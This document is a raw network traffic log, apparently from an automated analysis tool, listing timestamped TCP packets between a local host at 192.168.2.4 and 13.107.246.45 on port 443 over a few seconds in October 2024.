Oct 28, 2024 06:28:21.194153070 CET	443	49903	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:21.194391012 CET	49903	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:21.194608927 CET	49903	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:21.194626093 CET	443	49903	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:21.503168106 CET	443	49899	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:21.507698059 CET	443	49900	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:21.519872904 CET	49899	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:21.519890070 CET	443	49899	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:21.538891077 CET	49899	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:21.538897991 CET	443	49899	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:21.544291019 CET	49900	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:21.544305086 CET	443	49900	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:21.544852018 CET	49900	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:21.544856071 CET	443	49900	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:21.560406923 CET	443	49901	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:21.562306881 CET	49901	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:21.562320948 CET	443	49901	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:21.562669992 CET	49901	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:21.562678099 CET	443	49901	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:21.567625046 CET	443	49902	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:21.605072975 CET	49902	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:21.605081081 CET	443	49902	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:21.605535030 CET	49902	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:21.605537891 CET	443	49902	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:21.668359995 CET	443	49899	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:21.668433905 CET	443	49899	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:21.668567896 CET	49899	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:21.669801950 CET	49899	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:21.669819117 CET	443	49899	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:21.669894934 CET	49899	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:21.669900894 CET	443	49899	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:21.673233032 CET	443	49900	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:21.673413038 CET	443	49900	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:21.673577070 CET	49900	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:21.679517984 CET	49900	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:21.679533958 CET	443	49900	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:21.679547071 CET	49900	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:21.679552078 CET	443	49900	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:21.682538033 CET	49904	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:21.682564974 CET	443	49904	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:21.682657957 CET	49904	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:21.682945013 CET	49904	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:21.682965040 CET	443	49904	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:21.683774948 CET	49905	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:21.683830976 CET	443	49905	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:21.683902979 CET	49905	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:21.684201002 CET	49905	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:21.684231997 CET	443	49905	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:21.691489935 CET	443	49901	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:21.691548109 CET	443	49901	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:21.691627979 CET	49901	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:21.691637993 CET	443	49901	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:21.693531036 CET	49901	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:21.694000959 CET	49901	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:21.694019079 CET	443	49901	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:21.694030046 CET	49901	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:21.694036961 CET	443	49901	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:21.702321053 CET	49906	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:21.702336073 CET	443	49906	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:21.702445984 CET	49906	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:21.702728033 CET	49906	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:21.702739954 CET	443	49906	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:21.736625910 CET	443	49902	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:21.736783028 CET	443	49902	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:21.736965895 CET	49902	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:21.737164021 CET	49902	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:21.737179041 CET	443	49902	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:21.737191916 CET	49902	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:21.737196922 CET	443	49902	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:21.740473032 CET	49907	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:21.740514040 CET	443	49907	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:21.740633011 CET	49907	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:21.740832090 CET	49907	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:21.740875959 CET	443	49907	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:21.939963102 CET	443	49903	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:21.946221113 CET	49903	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:21.946237087 CET	443	49903	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:21.947084904 CET	49903	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:21.947092056 CET	443	49903	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:22.080804110 CET	443	49903	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:22.080882072 CET	443	49903	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:22.080940008 CET	49903	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:22.080951929 CET	443	49903	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:22.081001043 CET	443	49903	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:22.081056118 CET	49903	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:22.081137896 CET	49903	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:22.081163883 CET	443	49903	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:22.081176996 CET	49903	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:22.081182003 CET	443	49903	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:22.085098028 CET	49908	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:22.085124016 CET	443	49908	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:22.085201979 CET	49908	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:22.085346937 CET	49908	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:22.085361004 CET	443	49908	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:22.418278933 CET	443	49905	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:22.418921947 CET	49905	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:22.418976068 CET	443	49905	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:22.419569969 CET	49905	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:22.419584990 CET	443	49905	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:22.420491934 CET	443	49904	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:22.421689987 CET	49904	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:22.421701908 CET	443	49904	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:22.422230005 CET	49904	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:22.422236919 CET	443	49904	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:22.450529099 CET	443	49906	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:22.451232910 CET	49906	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:22.451246977 CET	443	49906	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:22.451695919 CET	49906	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:22.451700926 CET	443	49906	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:22.479885101 CET	443	49907	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:22.480403900 CET	49907	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:22.480436087 CET	443	49907	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:22.480993986 CET	49907	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:22.481005907 CET	443	49907	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:22.549359083 CET	443	49905	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:22.549432039 CET	443	49905	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:22.549503088 CET	49905	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:22.549753904 CET	49905	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:22.549791098 CET	443	49905	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:22.549818039 CET	49905	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:22.549833059 CET	443	49905	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:22.551381111 CET	443	49904	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:22.551736116 CET	443	49904	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:22.551888943 CET	49904	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:22.553209066 CET	49909	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:22.553248882 CET	443	49909	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:22.553277016 CET	49904	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:22.553277016 CET	49904	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:22.553293943 CET	443	49904	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:22.553303003 CET	443	49904	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:22.553338051 CET	49909	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:22.553520918 CET	49909	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:22.553534985 CET	443	49909	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:22.555732012 CET	49910	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:22.555768967 CET	443	49910	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:22.555840015 CET	49910	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:22.555980921 CET	49910	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:22.555995941 CET	443	49910	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:22.582315922 CET	443	49906	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:22.582535982 CET	443	49906	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:22.582688093 CET	49906	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:22.582688093 CET	49906	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:22.582710028 CET	49906	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:22.582721949 CET	443	49906	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:22.585205078 CET	49911	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:22.585220098 CET	443	49911	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:22.585391045 CET	49911	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:22.585391045 CET	49911	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:22.585438013 CET	443	49911	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:22.611296892 CET	443	49907	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:22.611460924 CET	443	49907	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:22.611538887 CET	49907	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:22.631469965 CET	49907	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:22.631496906 CET	443	49907	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:22.631525040 CET	49907	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:22.631536961 CET	443	49907	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:22.635171890 CET	49912	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:22.635256052 CET	443	49912	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:22.635351896 CET	49912	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:22.635521889 CET	49912	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:22.635560036 CET	443	49912	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:23.006834030 CET	443	49908	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:23.007472992 CET	49908	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:23.007498980 CET	443	49908	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:23.007956028 CET	49908	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:23.007961988 CET	443	49908	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:23.142894983 CET	443	49908	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:23.143042088 CET	443	49908	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:23.143274069 CET	49908	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:23.143331051 CET	49908	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:23.143347979 CET	443	49908	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:23.143359900 CET	49908	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:23.143367052 CET	443	49908	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:23.146770954 CET	49913	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:23.146833897 CET	443	49913	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:23.146924973 CET	49913	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:23.147118092 CET	49913	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:23.147140026 CET	443	49913	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:23.300645113 CET	443	49910	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:23.301192999 CET	49910	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:23.301209927 CET	443	49910	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:23.301815987 CET	49910	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:23.301821947 CET	443	49910	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:23.312406063 CET	443	49911	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:23.320609093 CET	49911	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:23.320626974 CET	443	49911	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:23.321369886 CET	49911	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:23.321376085 CET	443	49911	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:23.330864906 CET	443	49909	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:23.331965923 CET	49909	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:23.331979036 CET	443	49909	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:23.332495928 CET	49909	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:23.332499981 CET	443	49909	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:23.376966953 CET	443	49912	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:23.379194021 CET	49912	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:23.379214048 CET	443	49912	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:23.379782915 CET	49912	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:23.379791021 CET	443	49912	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:23.433855057 CET	443	49910	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:23.433928013 CET	443	49910	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:23.434181929 CET	49910	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:23.434220076 CET	49910	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:23.434237003 CET	443	49910	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:23.434247971 CET	49910	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:23.434253931 CET	443	49910	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:23.437608004 CET	49914	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:23.437633991 CET	443	49914	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:23.437927008 CET	49914	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:23.437927008 CET	49914	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:23.437962055 CET	443	49914	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:23.449207067 CET	443	49911	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:23.449268103 CET	443	49911	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:23.449412107 CET	49911	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:23.449414968 CET	443	49911	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:23.449476004 CET	49911	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:23.449533939 CET	49911	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:23.449552059 CET	443	49911	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:23.449564934 CET	49911	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:23.449569941 CET	443	49911	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:23.451916933 CET	49915	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:23.451994896 CET	443	49915	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:23.452090979 CET	49915	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:23.452255011 CET	49915	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:23.452277899 CET	443	49915	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:23.472695112 CET	443	49909	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:23.472845078 CET	443	49909	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:23.473210096 CET	49909	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:23.473210096 CET	49909	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:23.473210096 CET	49909	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:23.475213051 CET	49916	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:23.475258112 CET	443	49916	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:23.475336075 CET	49916	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:23.475542068 CET	49916	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:23.475555897 CET	443	49916	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:23.505894899 CET	443	49912	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:23.506051064 CET	443	49912	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:23.506174088 CET	49912	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:23.506436110 CET	49912	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:23.506445885 CET	443	49912	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:23.506459951 CET	49912	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:23.506465912 CET	443	49912	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:23.509660959 CET	49917	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:23.509746075 CET	443	49917	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:23.509849072 CET	49917	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:23.509987116 CET	49917	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:23.510025024 CET	443	49917	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:23.774111986 CET	49909	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:23.774139881 CET	443	49909	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:23.903104067 CET	443	49913	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:23.903671980 CET	49913	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:23.903708935 CET	443	49913	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:23.904409885 CET	49913	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:23.904428005 CET	443	49913	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:24.163789034 CET	443	49914	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:24.164285898 CET	49914	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:24.164315939 CET	443	49914	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:24.165065050 CET	49914	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:24.165072918 CET	443	49914	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:24.201164961 CET	443	49913	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:24.201338053 CET	443	49913	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:24.201422930 CET	49913	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:24.201551914 CET	49913	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:24.201585054 CET	443	49913	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:24.201612949 CET	49913	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:24.201628923 CET	443	49913	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:24.202191114 CET	443	49915	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:24.203208923 CET	49915	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:24.203231096 CET	443	49915	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:24.203742027 CET	49915	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:24.203753948 CET	443	49915	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:24.205581903 CET	49918	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:24.205636978 CET	443	49918	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:24.205698967 CET	49918	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:24.205817938 CET	49918	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:24.205826044 CET	443	49918	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:24.210788965 CET	443	49916	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:24.211112022 CET	49916	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:24.211118937 CET	443	49916	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:24.212672949 CET	49916	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:24.212677002 CET	443	49916	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:24.238125086 CET	443	49917	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:24.238460064 CET	49917	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:24.238478899 CET	443	49917	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:24.238789082 CET	49917	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:24.238795996 CET	443	49917	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:24.292453051 CET	443	49914	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:24.292529106 CET	443	49914	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:24.292632103 CET	49914	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:24.292809963 CET	49914	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:24.292831898 CET	443	49914	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:24.292850018 CET	49914	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:24.292856932 CET	443	49914	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:24.295105934 CET	49919	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:24.295140028 CET	443	49919	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:24.295211077 CET	49919	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:24.295344114 CET	49919	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:24.295356989 CET	443	49919	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:24.341718912 CET	443	49916	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:24.341785908 CET	443	49916	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:24.341840029 CET	49916	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:24.341849089 CET	443	49916	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:24.341892004 CET	443	49916	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:24.341938019 CET	49916	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:24.342165947 CET	49916	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:24.342175007 CET	443	49916	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:24.342190027 CET	49916	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:24.342194080 CET	443	49916	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:24.344150066 CET	49920	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:24.344177961 CET	443	49920	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:24.344228983 CET	49920	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:24.344331026 CET	443	49915	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:24.344347000 CET	443	49915	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:24.344347954 CET	49920	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:24.344360113 CET	443	49920	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:24.344417095 CET	49915	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:24.344451904 CET	443	49915	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:24.344559908 CET	49915	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:24.344561100 CET	49915	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:24.344579935 CET	443	49915	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:24.344608068 CET	443	49915	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:24.346215010 CET	49921	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:24.346292973 CET	443	49921	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:24.346365929 CET	49921	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:24.346513033 CET	49921	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:24.346548080 CET	443	49921	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:24.366193056 CET	443	49917	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:24.366228104 CET	443	49917	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:24.366276979 CET	443	49917	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:24.366281986 CET	49917	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:24.366334915 CET	49917	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:24.366503000 CET	49917	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:24.366513968 CET	443	49917	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:24.366528034 CET	49917	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:24.366533995 CET	443	49917	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:24.369077921 CET	49922	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:24.369107962 CET	443	49922	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:24.369179010 CET	49922	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:24.369314909 CET	49922	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:24.369328022 CET	443	49922	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:24.957766056 CET	443	49918	13.107.246.45	192.168.2.4
